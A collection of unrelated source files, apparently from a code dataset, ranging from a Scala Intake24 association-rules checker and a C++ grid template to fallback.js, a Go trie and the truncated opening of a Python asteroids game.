text:
package uk.ac.ncl.openlab.intake24.systemsql.pairwiseAssociations

import java.io.File
import java.sql.DriverManager
import java.util.concurrent.ForkJoinPool

import com.typesafe.config.ConfigFactory
import uk.ac.ncl.openlab.intake24.pairwiseAssociationRules.PairwiseAssociationRules
import uk.ac.ncl.openlab.intake24.services.systemdb.pairwiseAssociations.PairwiseAssociationsServiceConfiguration
import uk.ac.ncl.openlab.intake24.systemsql.admin.{DataExportImpl, SurveyAdminImpl}

import scala.collection.JavaConverters._
import scala.concurrent.ExecutionContext.Implicits.global
import scala.concurrent.{Await, ExecutionContext}
import scala.concurrent.duration.Duration

/**
  * Created by Tim Osadchiy on 12/07/2018.
  */
object PairwiseAssociationsServiceImplApp extends App {

  val configPath = "apiPlayServer/conf/application.conf"

  DriverManager.registerDriver(new org.postgresql.Driver)

  val conf = ConfigFactory.parseFile(new File(configPath))
  val dataSource = new org.postgresql.ds.PGSimpleDataSource()

  dataSource.setUser(conf.getString("db.intake24_system.username"))
  dataSource.setUrl(conf.getString("db.intake24_system.url"))
  dataSource.setPassword(conf.getString("db.intake24_system.password"))

  val settings = PairwiseAssociationsServiceConfiguration(
    conf.getInt("intake24.pairwiseAssociations.minimumNumberOfSurveySubmissions"),
    conf.getStringList("intake24.pairwiseAssociations.ignoreSurveysContaining").asScala,
    conf.getInt("intake24.pairwiseAssociations.useAfterNumberOfTransactions"),
    conf.getInt("intake24.pairwiseAssociations.rulesUpdateBatchSize"),
    conf.getString("intake24.pairwiseAssociations.refreshAtTime"),
    conf.getInt("intake24.pairwiseAssociations.minInputSearchSize"),
    conf.getInt("intake24.pairwiseAssociations.readWriteRulesDbBatchSize"),
    conf.getInt("intake24.pairwiseAssociations.storedCoOccurrencesThreshold")
  )
  val maxThreads = conf.getInt("intake24.longTasksContext.maxThreads")
  val context = ExecutionContext.fromExecutor(new ForkJoinPool(maxThreads))
  val dataService = new PairwiseAssociationsDataServiceImpl(dataSource, settings, context)
  val surveyAdminService = new SurveyAdminImpl(dataSource)
  val dataExportService = new DataExportImpl(dataSource)

  val service = new PairwiseAssociationsServiceImpl(settings, dataService, surveyAdminService, dataExportService, context)

  checkConsistance()

  def checkConsistance() = {
    val f = for (
      builtRules <- service.buildRules();
      dbRules <- service.getAssociationRulesAsync();
      equal = graphsEqual(builtRules, dbRules)
    ) yield equal
    f.onComplete { f =>
      f
    }
    Await.result(f, Duration.Inf)
  }

  def buildRules() = {
    service.buildRules().onComplete { rules =>
      rules
    }
  }

  def refresh() = {
    service.refresh().onComplete(graph => {
      graph
    })
  }

  def graphsEqual(builtGraph: Map[String, PairwiseAssociationRules], dbGraph: Map[String, PairwiseAssociationRules]) = {
    val reducedGraph = builtGraph.mapValues(_.reduce(settings.storedCoOccurrencesThreshold))
    reducedGraph.forall { node =>
      dbGraph.get(node._1) match {
        case Some(dbPa) => pairwiseAreEqual(node._2, dbPa)
        case None => false
      }
    }
  }

  def pairwiseAreEqual(pa1: PairwiseAssociationRules, pa2: PairwiseAssociationRules) = {
    val params1 = pa1.getParams()
    val params2 = pa2.getParams()

    params1.occurrences == params2.occurrences &&
      (params1.coOccurrences.toSet diff params2.coOccurrences.toSet).isEmpty &&
      (params1.occurrences.toSet diff params2.occurrences.toSet).isEmpty

  }

}


text:
@implementation HYRouterConsumer

@end

redpajama_set_name: RedPajamaGithub


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace mko.Newton
{
    partial class Length
    {
        public static Length Parse(string txt)
        {
            return parseImpl(txt,
                System.Threading.Thread.CurrentThread.CurrentCulture.NumberFormat);

        }

        public static Length Parse(string txt, System.Globalization.NumberFormatInfo nif)
        {
            return parseImpl(txt, nif);
        }

        private static Length parseImpl(string txt, System.Globalization.NumberFormatInfo nif)
        {
            if (string.IsNullOrEmpty(txt))
                throw new ArgumentNullException("leerer Zeichenkette kann nicht als MeasureedValueS interpretiert werden");

            txt = txt.Trim();

            // Trennen von Wert und Einheit

            var rx = new System.Text.RegularExpressions.Regex(@"\-{0,1}\s*\d+\" + nif.NumberDecimalSeparator + @"{0,1}\d*");
            var m = rx.Match(txt);
            if (!m.Success)
                throw new FormatException(txt + " kann nicht als MeasuredValueS eingelesen werden");

            string valueTxt = m.Value;
            double Value = double.Parse(valueTxt, nif);

            int startRest = m.Index + valueTxt.Length;

            if (startRest < txt.Length)
            {
                string unitTxt = txt.Substring(startRest);
                unitTxt = unitTxt.Trim().ToLower();

                if (unitTxt == "cm")
                    return Centimeter(Value);
                else if (unitTxt == "dm")
                    return Decimeter(Value);
                else if (unitTxt == "km")
                    return Kilometer(Value);
                else if (unitTxt == "m")
                    return Meter(Value);
                else if (unitTxt == "micro_m" || unitTxt == "µm")
                    return Micrometer(Value);
                else if (unitTxt == "mm")
                    return Millimeter(Value);
                else if (unitTxt == "nm")
                    return Nanometer(Value);
                else if (unitTxt == "pt")
                    return Point(Value);
                else if (unitTxt == "in" || unitTxt == "inch")
                    return Inch(Value);
                else
                    throw new ArgumentException("Unbekannte Einheit " + unitTxt);

            }

            throw new ArgumentException("Keine Einheit " + txt);
        }

    }
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
using Ganji.EF.Entities.Memlets;
using Ganji.EF.Entities.History;

namespace Ganji.EF.Contexts
{
    public class RemindersContext : DbContext
    {
        public DbSet<SmartReminderEntity> Reminders {get; set;}

        protected override void OnModelCreating(DbModelBuilder modelBuilder)
        {
            modelBuilder.Entity<SmartReminderEntity>().Property(p => p.Condition).HasMaxLength(4000);
            modelBuilder.Entity<SmartReminderEntity>().Property(p => p.Message).HasMaxLength(1000);
            //modelBuilder.Entity<Commit>().HasRequired(c => c.Document).WithMany(d => d.Commits);
        }

        public static void ConfigureDatabase(string path)
        {
            Database.SetInitializer<RemindersContext>(new DropCreateDatabaseIfModelChanges<RemindersContext>());
            Database.DefaultConnectionFactory = new SqlCeConnectionFactory("System.Data.SqlServerCe.4.0",
                path, "");
        }

    }
}


text:
namespace utils
{

struct row_major {
    static size_t index(const size_t i, const size_t j, const size_t rows, const size_t cols) {
        return i*cols + j;
    }
};

struct column_major {
    static size_t index(const size_t i, const size_t j, const size_t rows, const size_t cols) {
        return j*rows + i;
    }
};

template<class T, class Ordering>
class Grid2D
{
    public:
        // This is the default constructor. Call it without any
        // arguments and it will return a 0x0 matrix (initialized
        // with 0)
        // Example
        //      utils::Grid2D<double, utils::row_major> g;
        //
        // Example 2
        //      using Grid_t = utils::Grid2D<double, utils::row_major>
        //      Grid_t g;
        Grid2D()
            : rows(0)
            , cols(0)
            , data_(std::vector<T>(0))
            , blockSize(0)
            {}

        // This is the normal constructor. Gets you a rowsxcols matrix
        // with optinal default value value
        // Example
        //      utils::Grid2D<double, utils::row_major> square(3, 3, 5.0);
        Grid2D(const size_t rows, const size_t cols, T value=0, const size_t blockSize = 0)
            : rows(rows)
            , cols(cols)
            , data_(std::vector<T>(rows*cols, value))
            , blockSize(0)
            {}

        const size_t getRows() const { return rows; }
        const size_t getCols() const { return cols; }

		const T* data() const { return data_.data(); }
		T* data() { return data_.data(); }

        const size_t getBlockSize() const { return blockSize; }

        // PRE only works for row_major
        // TODO write a version for column_major
        void setBlockSize(const size_t size) {
            // assert rows and cols beeing multiple of the block size
            assert(rows % size == 0);
            assert(cols % size == 0);
            assert(size > 1 && size <= std::min(rows, cols));

            blockSize = size;
        }

        // PRE only works for row_major
        // TODO write a version for column_major
        void getBlock(const size_t I, const size_t J, utils::Grid2D<T, Ordering>& block) {
            // assert a useful block size
            assert(blockSize > 1);
            assert(blockSize <= std::min(rows, cols));
            assert(rows % blockSize == 0 && cols % blockSize == 0);

            // assert i/j within bounds
            assert(I < rows/blockSize && J < cols/blockSize);

            // assert block beeing of size blockSize x blockSize
            assert(block.getCols() == blockSize && block.getRows() == blockSize);

            size_t k = 0;
            for(size_t i = 0; i < blockSize; ++i) {
                for(size_t j = 0; j < blockSize; ++j) {
                    block.data_[k++] = data_[(I*blockSize+i)*cols + J*blockSize+j];
                }
            }
            assert(k == blockSize * blockSize);
        }

        void setBlock(const size_t I, const size_t J, const utils::Grid2D<T, Ordering>& block) {
            // assert a useful blockSize factor
            assert(blockSize > 1);
            assert(blockSize <= std::min(rows, cols));
            assert(rows % blockSize == 0 && cols % blockSize == 0);

            // assert i/j within bounds
            assert(I < rows/blockSize && J < cols/blockSize);

            // assert block beeing of size blockSize x blockSize
            assert(block.getCols() == blockSize && block.getRows() == blockSize);

            size_t k = 0;
            for(size_t i = 0; i < blockSize; ++i) {
                for(size_t j = 0; j < blockSize; ++j) {
                    data_[(I*blockSize+i)*cols + J*blockSize+j] = block.data_[k++];
                }
            }
        }

        void fillRandom(std::function<T()> generator) {
            std::generate(data_.begin(), data_.end(), generator);
        }

        // This is the copy constructor.
        // Example
        //      utils::Grid2D<int, utils::row_major> g(3, 3, 0);
        //      utils::Grid2D<int, utils::row_major> copy(g);
        Grid2D(const Grid2D<T, Ordering>& g)
            : rows(g.rows)
            , cols(g.cols)
            , data_(g.data_)
            , blockSize(g.blockSize)
            {}

        // This is the assignment operator
        // Example
        //      utils::Grid2D<double, utils::row_major> g(3, 4, 5.0);
        //      utils::Grid2D<int, utils::row_major>    g2;
        //      g2 = g;
        Grid2D& operator=(Grid2D<T, Ordering> g) {
            using std::swap;
            swap(*this, g);
            return *this;
        }

        // This is for writing to location (i,j)
        T& operator()(const size_t i, const size_t j) {
            assert(i < rows);
            assert(j < cols);
            return data_[Ordering::index(i, j, rows, cols)];
        }

        // This is for reading from location (i,j)
        const T& operator()(const size_t i, const size_t j) const {
            assert(i < rows);
            assert(j < cols);
            return data_[Ordering::index(i, j, rows, cols)];
        }

        // This is for wirting to location (idx)
        T& operator()(const size_t idx) {
            assert(idx < data_.size());
            return data_[idx];
        }

        // This is for reading from location (idx)
        const T& operator()(const size_t idx) const {
            assert(idx < data_.size());
            return data_[idx];
        }

        template<class U, class O2>
        friend void swap(utils::Grid2D<U, O2>& left, utils::Grid2D<U, O2>& right);

    private:
        size_t rows;
        size_t cols;
        std::vector<T> data_;
        size_t blockSize;
};

template<class T, class Ordering>
std::ostream& operator<<(std::ostream& out, const utils::Grid2D<T, Ordering>& g)
{
    if(g.getBlockSize() > 1) {
        out << "Block size: " << g.getBlockSize() << "\n";
    }

    for(size_t i = 0; i < g.getRows(); ++i) {
        if(g.getBlockSize() > 1 && i > 0 && i % g.getBlockSize() == 0) {
            for(size_t k = 0; k < g.getCols() + g.getCols() / g.getBlockSize() - 1; ++k) {
                out << "-\t";
            }
            out << "\n";
        }

        for(size_t j = 0; j < g.getCols(); ++j) {
            if(g.getBlockSize() > 1 && j > 0 && j % g.getBlockSize() == 0) {
                out << "|\t";
            }
            out << g(i,j) << "\t";
        }
        out << "\n";
    }
    return out;
}

template<class T, class Ordering>
void swap(utils::Grid2D<T, Ordering>& left, utils::Grid2D<T, Ordering>& right) {
    std::swap(left.rows, right.rows);
    std::swap(left.cols, right.cols);
    std::swap(left.data_, right.data_);
    std::swap(left.blockSize, right.blockSize);
}

} // end of namespace utils


text:
<?php

namespace Drupal\Tests\Core\DependencyInjection;

use Drupal\Component\FileCache\FileCacheFactory;
use Drupal\Core\DependencyInjection\ContainerBuilder;
use Drupal\Core\DependencyInjection\YamlFileLoader;
use Drupal\Tests\UnitTestCase;
use org\bovigo\vfs\vfsStream;

/**
 * @coversDefaultClass \Drupal\Core\DependencyInjection\YamlFileLoader
 * @group DependencyInjection
 */
class YamlFileLoaderTest extends UnitTestCase {

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    FileCacheFactory::setPrefix('example');
  }

  public function testParseDefinitionsWithProvider() {
    $yml = <<<YAML
services:
  example_service_1:
    class: \Drupal\Core\ExampleClass
  example_service_2: '@example_service_1'
  example_private_service:
    class: \Drupal\Core\ExampleClass
    public: false
  Drupal\Core\ExampleClass: ~
YAML;

    vfsStream::setup('drupal', NULL, [
      'modules' => [
        'example' => [
          'example.yml' => $yml,
        ],
      ],
    ]);

    $builder = new ContainerBuilder();
    $yaml_file_loader = new YamlFileLoader($builder);
    $yaml_file_loader->load('vfs://drupal/modules/example/example.yml');

    $this->assertEquals(['_provider' => [['provider' => 'example']]], $builder->getDefinition('example_service_1')->getTags());
    $this->assertEquals('example_service_1', $builder->getAlias('example_service_2')->__toString());
    $this->assertTrue($builder->getDefinition('example_service_1')->isPublic());
    $this->assertFalse($builder->getDefinition('example_private_service')->isPublic());
    $builder->compile();
    $this->assertTrue($builder->has('example_service_1'));
    $this->assertFalse($builder->has('example_private_service'));
    $this->assertTrue($builder->has('Drupal\Core\ExampleClass'));
    $this->assertSame('Drupal\Core\ExampleClass', $builder->getDefinition('Drupal\Core\ExampleClass')->getClass());
  }

}


text:
package com.gmail.trentech.pjp.data.immutable;

import static com.gmail.trentech.pjp.data.Keys.PORTAL;

import java.util.Optional;

import org.spongepowered.api.Sponge;
import org.spongepowered.api.data.DataContainer;
import org.spongepowered.api.data.key.Key;
import org.spongepowered.api.data.manipulator.immutable.common.AbstractImmutableSingleData;
import org.spongepowered.api.data.value.BaseValue;
import org.spongepowered.api.data.value.immutable.ImmutableValue;

import com.gmail.trentech.pjp.data.mutable.SignPortalData;
import com.gmail.trentech.pjp.portal.Portal;

public class ImmutableSignPortalData extends AbstractImmutableSingleData<Portal, ImmutableSignPortalData, SignPortalData> {

	public ImmutableSignPortalData(Portal value) {
		super(PORTAL, value);
	}

	public ImmutableValue<Portal> sign() {
		return Sponge.getRegistry().getValueFactory().createValue(PORTAL, getValue(), getValue()).asImmutable();
	}

	@Override
	public <E> Optional<ImmutableSignPortalData> with(Key<? extends BaseValue<E>> key, E value) {
		if (this.supports(key)) {
			return Optional.of(asMutable().set(key, value).asImmutable());
		} else {
			return Optional.empty();
		}
	}

	@Override
	public int getContentVersion() {
		return 0;
	}

	@Override
	protected ImmutableValue<?> getValueGetter() {
		return Sponge.getRegistry().getValueFactory().createValue(PORTAL, getValue()).asImmutable();
	}

	@Override
	public SignPortalData asMutable() {
		return new SignPortalData(this.getValue());
	}

	@Override
	public DataContainer toContainer() {
		return super.toContainer().set(PORTAL, getValue());
	}
}


text:
'use strict';

/* global Serpentity */

/*
 * Components store data. Nothing to say here really, just
 * inherit and add a prototype, or don't even inherit, see?
 * It's just an empty class, so what I'm trying to say is your
 * components can be any class whatsoever.
 */

let Component = class Component {
  constructor (config) {
    Object.assign(this, config || {});
  }
};

if (typeof module !== 'undefined' && this.module !== module) {
  module.exports = Component;
} else {
  Serpentity.Component = Component;
}


text:
/* fallback.js v1.0.5 | https://github.com/dolox/fallback/ | Salvatore Garbesi <sal@dolox.com> | (c) 2013 Dolox Inc. */

(function(window) {
	'use strict';

	var fallback = {
		callback: null,
		callbacks: [],

		head: document.getElementsByTagName('head')[0],

		libraries: {},
		libraries_count: 0,

		loaded: {},
		loaded_count: 0,

		fail: {},
		fail_count: 0,

		shim: {}
	};

	fallback.is_array = function(variable) {
		if (variable instanceof Array) {
			return true;
		}

		return false;
	};

	fallback.is_defined = function(variable) {
		/* jslint evil: true */
		if (eval('window.' + variable)) {
			return true;
		}

		return false;
	};

	fallback.is_function = function(variable) {
		if (({}).toString.call(variable) === '[object Function]') {
			return true;
		}

		return false;
	};

	fallback.is_object = function(variable) {
		if (typeof variable === 'object') {
			return true;
		}

		return false;
	};

	fallback.index_of = function(object, value) {
		var index;

		for (index in object) {
			if (object[index] === value) {
				return index;
			}
		}

		return -1;
	};

	fallback.initialize = function() {
		var library, urls;

		for (library in this.libraries) {
			if (this.libraries[library]) {
				urls = this.libraries[library];

				if (!this.is_array(urls)) {
					this.libraries[library] = urls = [urls];
				}

				this.libraries_count++;

				if (!this.shim[library]) {
					this.spawn(library, urls[0], 0);
				}
			}
		}
	};

	fallback.completed = function() {
		this.ready_invocation();

		if (this.libraries_count === this.loaded_count + this.fail_count) {
			if (this.is_function(this.callback)) {
				this.callback(this.loaded, this.fail);
			}

			this.callback = null;
		}
	};

	fallback.error = function(library, index) {
		index = parseInt(index,0);

		if (!this.fail[library]) {
			this.fail[library] = [];
		}

		this.fail[library][this.fail[library].length] = this.libraries[library][index];

		if (index < this.libraries[library].length - 1) {
			this.spawn(library, this.libraries[library][index + 1], index + 1);
		} else {
			this.fail_count++;
		}

		this.completed();
	};

	fallback.load = function(libraries, options, callback) {
		if (this.is_function(options)) {
			callback = options;
			options = {};
		}

		if (!this.is_object(options)) {
			options = {};
		}

		if (options.shim) {
			this.shim = options.shim;
		}

		if (!this.is_function(callback)) {
			callback = function() {};
		}

		this.callback = callback;
		this.libraries = libraries;
		this.initialize();
	};

	fallback.ready = function(libraries, callback) {
		var options = {
			callback: callback,
			libraries: libraries
		};

		if (!this.is_array(libraries)) {
			options.callback = libraries;
			options.libraries = [];
		}

		this.callbacks[this.callbacks.length] = options;
		this.ready_invocation();
	};

	fallback.ready_invocation = function() {
		var index, options, count, library, wipe;

		for (index in this.callbacks) {
			if (this.is_object(this.callbacks[index])) {
				options = this.callbacks[index];
				wipe = false;

				if (options.libraries.length > 0) {
					count = 0;

					for (library in this.loaded) {
						if (this.index_of(options.libraries, library) >= 0) {
							count++;
						}
					}

					if (count === options.libraries.length) {
						options.callback();
						wipe = true;
					}
				} else if (this.libraries_count === this.loaded_count + this.fail_count) {
					options.callback(this.loaded, this.fail);
					wipe = true;
				}

				if (wipe) {
					delete this.callbacks[index];
				}
			}
		}
	};

	fallback.spawn = function(library, url, index) {
		var element;

		if (this.is_defined(library)) {
			return fallback.success(library, index);
		}

		if (url.indexOf('.css') > -1) {
			element = document.createElement('link');
			element.rel = 'stylesheet';
			element.href = url;
		} else {
			element = document.createElement('script');
			element.src = url;
		}

		element.onload = function() {
			fallback.success(library, index);
		};

		element.onreadystatechange = function() {
			if (!this.readyState || this.readyState === 'loaded' || this.readyState === 'complete') {
				this.onreadystatechange = null;

				if (!fallback.is_defined(library)) {
					fallback.error(library, index);
				} else {
					fallback.success(library, index);
				}
			}
		};

		element.onerror = function() {
			fallback.error(library, index);
		};

		this.head.appendChild(element);
	};

	fallback.success = function(library, index) {
		this.loaded[library] = this.libraries[library][index];
		this.loaded_count++;

		if (this.shim) {
			this.shim_invocation(library);
		}

		this.completed();
	};

	fallback.shim_invocation = function() {
		var count, index, shim, shimming;

		for (shim in this.shim) {
			if (this.shim[shim]) {
				shimming = this.shim[shim];
				count = 0;

				if (!this.loaded[shim]) {
					for (index in shimming) {
						if (this.loaded[shimming[index]]) {
							count++;
						}
					}

					if (count === shimming.length) {
						this.spawn(shim, this.libraries[shim][0], 0);
						delete this.shim[shim];
					}
				}
			}
		}
	};

	window.fallback = fallback;
})(window);


text:
package at.srfg.graphium.routing.algo.impl;

import com.vividsolutions.jts.geom.LineString;

import at.srfg.graphium.routing.algo.IRoutingAlgo;
import at.srfg.graphium.routing.algo.IRoutingAlgoFactory;
import at.srfg.graphium.routing.exception.UnkownRoutingAlgoException;
import at.srfg.graphium.routing.model.IRoutingOptions;

/**
 * @author mwimmer
 *
 */
public class MockRoutingAlgoFactoryImpl implements IRoutingAlgoFactory<IRoutingOptions, LineString, Double> {

	@Override
	public IRoutingAlgo<IRoutingOptions, LineString, Double> createInstance(IRoutingOptions routeOptions,
			LineString startNode, Float percentageStartWeight, LineString endNode, Float percentageEndWeight)
			throws UnkownRoutingAlgoException {
//		IRoutingAlgo<IRoutingOptions, LineString, Double> routingAlgo =
		return new MockRoutingAlgoImpl();
	}

}


text:
NS_ASSUME_NONNULL_BEGIN

@interface NCShoppingItem (CoreDataProperties)

@property (nonatomic) BOOL finished;
@property (nonatomic) int32_t quantity;
@property (nonatomic) int32_t typeID;
@property (nullable, nonatomic, retain) NCShoppingGroup *shoppingGroup;

@end

NS_ASSUME_NONNULL_END


text:
package trie

import (
   "os"
   "fmt"
   "bufio"
   "log"
   "io"
   "strings"
   "runtime"
   "sync"
   "flag"
)

// Trie type
type Trie struct {
    Root *TrieNode
    Words int
    mx sync.RWMutex
    SuggestionService string
    WG *sync.WaitGroup // gives testing file access to addentry
}

// SearchTrie exports current instance of new trie
var SearchTrie = NewTrie()

// NewTrie constructor for the trie
func NewTrie() *Trie {

    // head node?
    dir := "./data/"
    NewTrie := &Trie{Root: NewTrieNode("")}
    //file := os.Args[1]

    var file string
    flag.StringVar(&file, "file", "wordsEn.txt", "a provided file")
    flag.Parse()

    if (file != "") {
        go NewTrie.ReadFile(dir + file);
        fmt.Println("Reading " + file)
    }

    if (file == "enwiki-latest-all-titles-in-ns0.gz") {
        NewTrie.SuggestionService = "https://en.wikipedia.org/wiki/"
    } else {
        NewTrie.SuggestionService = "http://www.dictionary.com/browse/"
    }

    return NewTrie
}

// ReadFile reads the file
func (trie *Trie) ReadFile(infilePath string) {
        // open the file (fixing nil pointer deref err)
        infile, err := os.OpenFile(infilePath, os.O_RDONLY, 0644)
        if err != nil {
            log.Fatal(err)
        }
        // wait to close the file
        defer infile.Close()
        // load the trie
        trie.LoadTrie(infile)
    }

// LoadTrie loads the trie
func (trie *Trie) LoadTrie(stream io.Reader) {
    var memstats = new(runtime.MemStats)
    runtime.ReadMemStats(memstats)
    // fill out memstats with the current memory state
    wg := sync.WaitGroup{}
    scanner := bufio.NewScanner(stream)
        scanner.Split(bufio.ScanLines)
    for scanner.Scan() {
        if (memstats.TotalAlloc >= 90000000) {
            wg.Wait()
        }

        wg.Add(1)
        trie.AddEntry(scanner.Text(), &wg)
    }

    if err := scanner.Err(); err != nil {
        log.Fatal(err)
    }
}

// PrintHelper prints out the tree
func printHelper(entry string, node *TrieNode) {
    if (node.complete) {
        fmt.Println(entry)
    }
    if (len(node.children) > 0 ) {
        for key, child := range node.children {
            newEntry := entry + key
            printHelper(newEntry, child)
        }
    }
}

// PrintTrie printHelper helps print out the trie
func (trie *Trie) PrintTrie() {
    printHelper("", trie.Root)
}

// AddEntry it into the trie
// lower case for simplicity
func (trie *Trie) AddEntry(entry string, wg *sync.WaitGroup) {
    trie.mx.Lock()
    trie.Words++
    entry = strings.ToLower(entry)
    trie.Root.AddEntrie(entry)
    trie.mx.Unlock()
}

// AddEntrie takes a string and adds it to the trie
func (node *TrieNode) AddEntrie(entry string) *TrieNode {
    // if you've iterated through the entire entry string
    if (len(entry) == 0) {
        node.complete = true;
        return node
    }
    /* Hybrid thoughts
    // if numwords < 50
    if (trie.NumWords < 50) {
        for index, runeValue := range string {
            trie.Children[runeValue]
        }
    }
        // go to head node
        // try to find first letter in NODES map
        // if doesn't match string (or not first letter) {
            // add whole word to map
        //} else if numwords ==50 {
            // reformat trie node's children
        //}*/

    // take the first letter
    first := string(entry[0])
    // continue with the rest of it
    rest := string(entry[1:])
    // try to index that character in the current
    // level of children
    child, err := node.children[first];

    // if you found the child
    if !err {
        child = NewTrieNode(first)
        node.children[first] = child
    }

    return child.AddEntrie(rest)
}

// FindEntries finds the matches of a given prefix
func (trie *Trie) FindEntries(prefix string, max uint8) *[]string {
    matches := make([]string, 0, max)

    node := trie.Root // start with the root
    count := 0
    // go through all of the prefix items
    for i := 0; i < len(prefix); i++ {
        // go over all of the node's children
        if len(node.children) > 0 {
            for key, child := range node.children {
                // if the node matches prefix char
                if (strings.ToLower(string(prefix[i])) == strings.ToLower(key)) {

                    if child != nil {
                        node = child
                        count++
                    }
                }
            }
        }
    }
    // if the node hasn't been updated after ranging all of the current root's items
    if (count != len(prefix)) {
        return nil
    }

    // otherwise keep going!

    // PHASE TWO
    // return complete items from the prefix node

    match(node, &matches, strings.ToLower(prefix), max)

    // causes race condition I can't figure
    return &matches
}

// recursively matches by appending matches to
// an array of string with their associated prefix
func match(node *TrieNode, matches *[]string, prefix string, max uint8) {
    if (node != nil && node.complete && len(*matches) < int(max)) {
        *matches = append(*matches, prefix)
    }
    if (node != nil && len(node.children) > 0 ) {
        for key, child := range node.children {
            newEntry := prefix + key
            if child != nil {
                match(child, matches, newEntry, max)
            }

        }
    }
}


text:
package io.youi.stream.delta

import io.youi.stream.{HTMLStream, Selector, Tag}

class Template(val selector: Selector, deltas: List[Delta]) extends Delta {
  override def apply(streamer: HTMLStream, tag: Tag.Open): Unit = {
    streamer.insert(tag.start, streamer.streamable.stream(deltas, Some(selector)))
  }
}


text:
'use strict';
var mongoose = require('mongoose');
var Schema = mongoose.Schema;

var FriendSchema = new Schema({
  friend: { type: Schema.Types.ObjectId, ref: 'a_unadorned_mongoose'},
  type: { type: String, enum: ['best friend', 'partner', 'colleague', 'acquaintance', 'other']},
  comment: { type: String}
}, {_id: false});

var JSchema = new Schema({
  surname: {type: String, required: true, list: {}, index: true},
  forename: {type: String, list: true},
  friendList: {type: [FriendSchema], form: {directive: 'friends'}}
});

var J;
try {
  J = mongoose.model('J');
} catch (e) {
  J = mongoose.model('J', JSchema);
}

module.exports = J;


text:
if (typeof exports === 'object') {
	var assert = require('assert');
	var alasql = require('..');
	//	var DOMStorage = require("dom-storage");
	//	global.localStorage = new DOMStorage("./test390.json", { strict: false, ws: '' });
}

/*
 This sample beased on SQLLOGICTEST
*/

describe('Test 395 SQLLOGICTEST SELECT 1', function () {
	it('1. CREATE DATABASE', function (done) {
		alasql('CREATE DATABASE test395;USE test395');
		done();
	});

	it('2. Test inline', function (done) {
		var res = alasql('COLUMN OF SELECT 1 FROM @[1,2,3] WHERE 1 IN (SELECT 1)');
		assert.deepEqual(res, [1, 1, 1]);
		var res = alasql('COLUMN OF SELECT 1 FROM @[] WHERE 1 IN (SELECT 1)');
		assert.deepEqual(res, []);
		done();
	});

	it('3. Test from table', function (done) {
		alasql('CREATE TABLE t1 (a INT)');
		alasql('INSERT INTO t1 VALUES (1),(2),(3)');
		var res = alasql('COLUMN OF SELECT 1 FROM t1 WHERE 1 IN (SELECT 1)');
		assert.deepEqual(res, [1, 1, 1]);
		done();
	});

	it('4. Test like in command-line', function (done) {
		alasql.promise('COLUMN OF SELECT 1 FROM @[1,2] WHERE 1 IN (SELECT 1)').then(function (res) {
			assert.deepEqual(res, [1, 1]);
			done();
		});
	});

	it('5. More tests', function (done) {
		var res = alasql('COLUMN OF SELECT 1 FROM t1 WHERE 1 IN (SELECT 1,2)');
		assert.deepEqual(res, [1, 1, 1]);
		done();
	});

	it('99. DROP DATABASE', function (done) {
		alasql('DROP DATABASE test395');
		done();
	});
});


text:
from ebu_tt_live.utils import ComparableMixin
from ebu_tt_live import bindings
from ebu_tt_live.bindings import _ebuttlm as ebuttlm

# NOTE: Some of the code below includes handling of SMPTE time base, which was removed from version 1.0 of the specification.

class TimeBase(object):
    SMPTE = 'smpte'
    MEDIA = 'media'
    CLOCK = 'clock'

class SubtitleDocument(ComparableMixin):

    def __init__(self):
        raise NotImplementedError('This is an abstract class')

    def validate(self):
        raise NotImplementedError()

class DocumentSequence(object):
    """
    Base class that facilitates most production-related workflows.
    The document stream should maintain the consistency across critical document attributes. It should maintain
    all sorts of counters and static information. It plays a key role in the validation of an outgoing stream of
    subtitle documents.
    """

    def new_document(self, *args, **kwargs):
        """
        Create a new document with the stream defaults
        :param args:
        :param kwargs: parameter override to constructor
        :return: a new document
        """
        raise NotImplementedError()

    def add_document(self, document):
        """
        Add the document to the sequence on the consumer side of things. This will put the document on the timeline
        and validate the sequence in terms of timing resolution.
        :param document:
        :raises IncompatibleSequenceError meaning that the document cannot be part of this sequence for
        it does not match the semantics of the sequence.
        """
        raise NotImplementedError()

    def get_document(self, seq_id):
        """
        Retrieve document by sequence number
        :param seq_id:
        :return: a document
        :raises: KeyError meaning the document is not in the sequence
        """
        raise NotImplementedError()

    def __getitem__(self, item):
        return self.get_document(seq_id=item)

    def fork(self, *args, **kwargs):
        """
        Create a new stream with modified arguments.
        :param args:
        :param kwargs: parameter override to constructor
        :return: a new documentstream instance
        """
        raise NotImplementedError()

class CloningDocumentSequence(DocumentSequence):
    """
    Base class that picks up a document and creates an appropriate stream based on it.
    Bear in mind continuation/revision or reproduction of a received document stream.
    """

    @classmethod
    def create_from_document(cls, document, *args, **kwargs):
        """
        Extract data from document
        :param document:
        :param args:
        :param kwargs: parameter override to constructor
        :return:
        """
        raise NotImplementedError()

class EBUTTDocumentBase(object):
    message_type_mapping = {}

    def get_xml(self):
        raise NotImplementedError()

    def get_dom(self):
        raise NotImplementedError()

    @classmethod
    def create_from_xml(cls, xml):
        instance = bindings.CreateFromDocument(
            xml_text=xml
        )
        if isinstance(instance, ebuttlm.message_type):
            return cls.message_type_mapping[instance.header.type].create_from_raw_binding(instance)

    @classmethod
    def create_from_raw_binding(cls, **kwargs):
        raise NotImplementedError()


text:
import SimpleGUICS2Pygame.simpleguics2pygame as simplegui
import math
import random

###########################################
##
##	VARIABLES
##
###########################################

WIDTH = 800
HEIGHT = 600
score = 0
lives = 3
time = 0
started = False
previous_closest_obstacle = None
previous_angle = 0.0
Manual = False
Automatic = False
max_number_of_rocks = 4

###########################################
##
##	CLASSES
##
###########################################

#Create a class for holding information of images
class ImageInfo:
    def __init__(self, center, size, radius = 0, lifespan = None, animated = False):
        self.center = center
        self.size = size
        self.radius = radius
        if lifespan:
            self.lifespan = lifespan
        else:
            self.lifespan = float('inf')
        self.animated = animated

    def get_center(self):
        return self.center

    def get_size(self):
        return self.size

    def get_radius(self):
        return self.radius

    def get_lifespan(self):
        return self.lifespan

    def get_animated(self):
        return self.animated

#Create a class for the Space Ship
class Ship:

    def __init__(self, pos, vel, angle, image, info):
        self.pos = [pos[0], pos[1]]
        self.vel = [vel[0], vel[1]]
        self.thrust = False
        self.angle = angle
        self.angle_vel = 0
        self.image = image
        self.image_center = info.get_center()
        self.image_size = info.get_size()
        self.radius = info.get_radius()
	self.closest_obstacle= None
	self.distance_to_closest_obstacle = 1000
